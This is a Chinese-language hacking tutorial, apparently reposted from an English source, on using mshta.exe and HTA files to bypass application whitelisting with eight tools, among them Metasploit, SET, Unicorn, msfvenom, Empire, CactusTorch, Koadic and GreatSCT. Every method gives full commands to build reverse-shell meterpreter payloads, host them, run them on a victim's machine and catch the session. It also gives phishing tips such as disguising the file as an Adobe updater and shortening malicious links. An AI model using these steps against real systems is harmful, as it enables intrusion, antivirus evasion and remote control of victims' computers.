使用mshta.exe繞過應用程序白名單(多種方法)


 

0x00 簡介

很長一段時間以來,HTA文件一直被web攻擊或在野惡意軟件下載程序用作惡意程序的一部分。HTA文件在網絡安全領域內廣為人知,從紅隊和藍隊的角度來看,它是繞過應用程序白名單有價值的“古老”方式之一。運行Microsoft HTML應用程序主機的Mshta.exe,Windows OS實用程序負責運行HTA(HTML應用程序)文件。我們可以運行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析這些文件。

0x01 HTA重要性

最后,利用htaccess文件或基於瀏覽器的分類的其他策略轉移將有助於提高利用率。利用HTA文件進行基於web的攻擊。HTA文件中有大量的靈活性; 你將有效地使它看起來像一個Adobe更新程序。此外,通過HTTPS使HTA文件限制不使用少許SSL攔截/阻斷的發現率也是有用的。HTA記錄有助於繞過防病毒,因為它們仍沒有被很好地識別到。最后但並非不重要的HTA也可以用於網絡釣魚,取代舊的Java applet。

0x02 攻擊方法

HTA攻擊有多種方法,如下所示

 

  • Metasploit
  • Setoolkit
  • Magic unicorn
  • Msfvenom
  • Empire
  • CactusTorch
  • Koadic
  • Great SCT

1.第一種方法:Metasploit

 我們的第一種方法是在Metasploit中使用inbuild exploit。為此,請進入到kali中的終端並輸入命令:msfconsole

metasploit包含“hta web server”模塊,該模塊生成惡意hta文件。此模塊承載一個HTML應用程序(HTA),打開時將通過PowerShell運行有效負載。當用戶打開HTA文件時,IE會在執行exploit之前提示用戶兩次。當Metasploit啟動時,輸入以下命令:

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit

一旦exploit被執行,它將為您提供擴展名為.hta的URL鏈接。同時,Metasploit將啟動允許您共享文件的服務器。此鏈接您還必須在受害者的PC上運行。使用以下命令:

mshta.exe http://192.168.1.109:8080/pKz4Kk059Nq9.hta

HTA的通常文件擴展名是.hta。我們使用了上面的命令,因為HTA被視為擴展名為.exe的任何可執行文件,因此通過mshta.exe執行。當hta由mshta.exe啟動時,它使用簽名的Microsoft二進制文件,允許您調用PowerShell並將payload直接注入內存中

執行上述命令后,您將打開一個會話。要訪問會話,請輸入以下命令:

sessions 1

因此,您將擁有一個meterpreter會話

2.第二種方法:Setoolkit

我們的HTA攻擊方法是通過setoolkit來執行。為此,在您的kali中打開setoolkit。從菜單中選擇第一個選項,輸入1選擇第一個選項以選擇Social-Engineering Attacks

從下一個給定菜單中,通過輸入2並選擇第二個選項以選擇website attack vendors

從下一個給定菜單中輸入選項8以選擇HTA attack method

一旦您為HTA攻擊選擇了選項8,接下來您需要選擇選項2,它將允許您克隆一個站點。一旦選擇了選項2,它將詢問您要克隆的站點的URL。如我們在此提供所需的URL:www.ignitectologies.in

在給出URL之后,它將要求您選擇所需的meterpreter類型。通過輸入3以選擇第三個meterprter reverse tcp.

鍵入3后按Enter鍵,進程將啟動,您將擁有handler(multi/handler

現在把你的惡意IP轉換成短鏈接,當你向受害者分享此鏈接時,這將顯示給受害者更真實的攻擊

當受害者瀏覽上述惡意鏈接時,文件保存后會自動保存在受害者電腦中執行,如下圖所示:

然后您將擁有一個meterpreter會話。您可以使用命令'sysinfo'獲取受害者電腦的基本信息

3.第三種方法:Magic Unicorn

HTA攻擊的下一個方法是使用unicorn的第三方工具。magic unicorn工具由Dave Kennedy開發。它是一款用戶友好性的工具,它允許我們通過將shellcode直接注入內存來執行HTA攻擊。該工具的最佳部分是它與Metasploit兼容,以及shellcode和cobalt strik您可以在trustedsec.com上詳細查看該軟件,也可以從GitHub下載該軟件,或者使用以下鏈接下載:https://github.com/trustedsec/unicorn

一旦你下載了magic unicorn在kali的終端打開並輸入:

python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 1234 hta

執行上述命令將啟動創建.hta文件的過程。上訴.hta文件將在文件夾hta-attack/中被創建。進入該文件夾,通過鍵入以下命令查看創建的文件列表:

cd hta_attack/
ls

現在您可以看到.hta文件,即launcher.hta。啟動python服務器以便共享此文件。為此,請輸入以下命令:

python -m SimpleHTTPServer 80

服務器啟動並運行后,在受害者PC的cmd提示符中執行以下命令:

mshta.exe http://192.168.1.109/Launcher.hta

當執行上述命令時,您將在multi/handler中激活會話。要訪問會話,請鍵輸入以下命令:

sessions 1

4.第四種方法:MSFVenom

HTA攻擊的下一種方法是通過msfvenom手動創建.hta文件。創建.hta文件,在kali終端中鍵輸入以下命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f hta-psh > shell.hta

執行上述命令將創建一個.hta文件,您可以利用該文件。創建文件后,打開python服務器,通過輸入以下內容將文件共享到受害者的PC:

python -m SimpleHTTPServer 80

輸入以下命令運行上述文件:

mshta.exe http:192.168.1.109/shell.hta

同時,在受害者的命令提示符中運行上述文件時,啟動handler以接收會話。要啟動multi/handler,請輸入以下命令:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

因此,通過使用這種簡單的方法,您將獲得您的meterpreter會話。您可以使用sysinfo查看受害者PC的基本信息。

5.第五種方法:PowerShell Empire

對於我們的下一個msbuild攻擊方法,我們將使用empire。empire是一款后開發框架。到目前為止,我們已經將我們的XML工具與Metasploit匹配,但在這種方法中,我們將使用empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發您可以從https://github.com/EmpireProject/Empire下載此框架

要獲得empire的基本指南,請訪問我們的文章:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

啟動Empire框架后,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。需要設置一個偵聽器,請輸入以下命令:

uselistener http
set Host http://192.168.1.109
set port 80
execute

使用上述命令,您將獲得一個活動的偵聽器。輸入back以退出偵聽器,以便啟動PowerShell。

對於我們的msbuild攻擊,我們將使用stager。empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:

usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute

usestager將創建一個惡意代碼文件,該文件將保存在名為1.hta的outfile中。一旦文件被執行,我們將在偵聽器上獲得結果。通過輸入以下命令運行受害者的文件:

mshta.exe http://192.168.1.109:8080/1.h

要查看是否有會話,請打開輸入命令“agents”。這樣做將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:

interact L924Z1WR

上面的命令將允許您訪問會話

sysinfo
info

6.第六種方法:Cactustorch

Cactustorch是javascript和VBScript shellcode啟動器的框架。它由Vincent Yiu開發。這個工具可以繞過許多常見的防御,這對我們來說是一種優勢。需要注意的主要問題是我們在cactustorch中使用的代碼是通過msfvenom創建的,然后編碼到Base64中,因為它只支持它。

所以,首先讓我們創建我們的惡意軟件,然后加密它。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin

現在加密文件類型:

cat 1.bin |base64 -w 0

復制base64代碼,以便稍后使用。

現在我們准備好了惡意軟件,讓我們下載cactustorch。你可以從這里下載:

https://github.com/mdsecactivebreach/CACTUSTORCH

安裝完成后,在安裝的文件夾內容中輸入以下內容:

ls -la
./CACTUSTORCH.hta

上面的命令將啟動cactustorch進行hta攻擊

一旦cactustorch啟動,將base64代碼粘貼到下圖所示的突出的代碼處,這是先前復制的。

當我們添加了代碼時,讓我們通過鍵輸入以下內容在受害者的PC中執行該文件:

mshta.exe http://192.168.1.109/CACTUSTORCH.hta

同時,啟動multi/handler以接收會話。對於multi/handler,請輸入以下命令:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的PC中執行該文件后,您將獲得一個meterpreter會話。

7.第七種方法:Koadic

我們的下一種方法是使用koadic。Koadic是一個Windows后期開發的rootkit,類似於其他滲透測試工具,如meterpreter和PowerShellEmpire。要了解更多關於Koadic的信息,請通過以下鏈接閱讀我們關於上述框架的詳細文章:https://www.hackingarticles.in/koadic-com-command-control-framework

一旦Koadic啟動並運行,請輸入info以獲取需要提供的詳細幫助信息列表,以便進行獲取會話。通過查看的信息,您需要設置srvhost和endpoint。因此,要設置它們,請輸入:

set srvhost 192.168.1.107
set ENDPOINT sales
run

鍵入以下內容,執行您在受害者PC中的文件:

http://192.168.1.107:9999/sales

您將獲得一個正在運行的會話。要知道會話類型的名稱,輸入以下命令:

zombies

現在要訪問會話類型,請輸入以下命令:

zombies 0

8.第八種方法:GreatSCT

GreatSCT是一款允許您使用Metasploit exploit並允許它繞過大多數反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以從下面地址中下載:

https://github.com/GreatSCT/GreatSCT

下載並運行后,輸入以下命令以訪問模塊:

use Bypass

查看payload列表類型,輸入list命令:

list

現在,從有payload表中,您可以選擇任何目標進行所需的攻擊。但對於這種攻擊,我們將使用:

use mshta/shellcode_inject/base64_migrate.py

執行命令后,輸入以下命令:

generate

執行generate命令后,它會詢問您要使用哪種方法。因為我們將使用msfvenom類型1來選擇第一個選項。然后按enter鍵進入meterpreter。然后分別設置lhost和lport,即192.168.1.107和4321。

生成shellcode時,它會要求您為exploit命名。默認情況下,它將設置名稱為“payload”,以便您可以提供名稱,或者只需按Enter鍵進行默認設置。

現在,生成了兩個文件。一個資源文件和另一個hta文件

現在,首先,在/usr/share/greatsct輸出中輸入以下命令啟動python的服務器:

python -m SimpleHTTPServer 80

現在在受害者PC的命令提示符中執行hta文件

同時,使用資源文件啟動multi/handler。為此,輸入以下命令:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

你將獲得一個meterpreter會話

0x03 總結

所以基本上,這種類型的攻擊是簡單的HTA攻擊,提供對遠程攻擊者的完全訪問權限。攻擊者可以使用Web技術為Windows操作系統創建惡意應用程序來克隆站點簡而言之,它通過HTA文件執行PowerShell注入,可以通過瀏覽器用於基於Windows的PowerShell開發。以上是用於攻擊的方法。 因此,通過不同的方法學習相同的攻擊通常是很方便的


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM